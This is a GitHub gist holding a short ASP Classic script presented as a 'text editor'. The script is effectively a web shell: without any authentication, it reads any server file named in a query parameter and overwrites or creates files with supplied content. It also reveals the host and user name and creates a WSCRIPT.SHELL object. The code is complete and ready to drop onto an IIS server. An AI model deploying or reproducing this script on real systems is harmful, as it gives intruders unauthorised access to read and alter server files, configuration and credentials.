Skip to content

Instantly share code, notes, and snippets.

@SeanPesce
Created March 1, 2021 23:16
Show Gist options
  • Save SeanPesce/b0ad7c72c427c8554c5dbfb77d18b8bb to your computer and use it in GitHub Desktop.
Save SeanPesce/b0ad7c72c427c8554c5dbfb77d18b8bb to your computer and use it in GitHub Desktop.
ASP Classic Text Editor
<!--
Author: Sean Pesce
References:
https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/filesystemobject-object
-->
<%
Set objScript = Server.CreateObject("WSCRIPT.SHELL")
Set objScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Function getFileContents(fname)
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fs
Set fs = Server.CreateObject("Scripting.FileSystemObject")
getFileContents = fs.OpenTextFile(fname, ForReading).ReadAll()
end Function
Function getFileName()
If Request("fileName").Count > 0 Then
getFileName = Server.HTMLEncode(Request("fileName"))
Else
getFileName = ""
End If
end Function
%>
<HTML>
<BODY>
<%
' Write the file if the writeData query parameter is present
If Request("fileName").Count > 0 and Len(Request("fileName")) > 0 and Request("writeData").Count > 0 Then
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fs, fname, fd
Set fs = Server.CreateObject("Scripting.FileSystemObject")
Set fname = Request("fileName")
Set fd = fs.OpenTextFile(fname, ForWriting, True)
fd.WriteLine(Request("writeData"))
End If
%>
<title>
<%= Server.HTMLEncode("\\" & objScriptNet.ComputerName & "\" & objScriptNet.UserName) %>
</title>
<FORM action="" method="GET" id="getfiledata">
<input type="text" name="fileName" size=45 value="<%= getFileName() %>">
<input type="submit" value="Get file content">
</FORM>
<textarea name="writeData" form="editor" cols=120 rows=50><%
On Error Resume Next
If Request("fileName").Count > 0 and Len(Request("fileName")) > 0 Then
fn = Request("fileName")
fData = ""
fData = getFileContents(fn)
Else
fData = ""
End If
Response.Write(fData)
%></textarea>
<FORM action="" method="GET" id="editor">
<input type="submit" value="Write file:">
<input type="text" name="fileName" size=45 value="<%= getFileName() %>" readonly style="background-color: #c2c2c2;">
</FORM>
<br>
<PRE>
</BODY>
</HTML>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment